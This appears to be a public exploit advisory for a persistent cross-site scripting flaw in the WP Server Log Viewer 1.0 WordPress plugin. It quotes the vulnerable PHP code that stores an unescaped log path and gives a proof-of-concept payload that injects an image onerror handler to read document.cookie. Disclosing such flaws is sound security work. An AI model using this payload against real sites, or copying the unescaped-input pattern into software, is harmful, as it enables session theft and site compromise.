41 lines
No EOL
1.5 KiB
Text
41 lines
No EOL
1.5 KiB
Text
# Exploit Title: WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting
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# Date: 2019-09-10
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# Exploit Author: strider
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# Software Link: https://github.com/anttiviljami/wp-server-log-viewer
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# Version: 1.0
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# Tested on: Debian 10 Buster x64 / Kali Linux
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# CVE : None
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====================================[Description]====================================
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This plugin allows you to add logfiles via wp-admin. The problem here is that the file paths are stored unfiltered/unescaped. This gives the possibility of a persistent XSS attack.
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====================================[Codepart]====================================
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if( isset( $_GET['action'] ) && 'new' === $_GET['action'] && isset( $_GET['logpath'] ) ) {
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// new log was added
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$logs = get_option( 'server_logs' );
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if( is_null( $logs ) ) {
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$logs = [];
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}
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$log = trim( $_GET['logpath'] ); //only trimmed string no escaping
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$logs[] = $log; //here the log will be added without security checks
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$logs = array_values( $logs );
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$index = array_search( $log, $logs );
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update_option( 'server_logs', $logs );
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wp_safe_redirect( admin_url('tools.php?page=wp-server-log-viewer&log=' . $index) );
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}
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====================================[Proof of Concept]====================================
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Add new log file to the plugin.
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paste this exploit into the form and submit it.
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<img src=# onerror=alert(document.cookie);>log.txt
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It tries to render an image and triggers the onerror event and prints the cookie. in the tab you see the log.txt |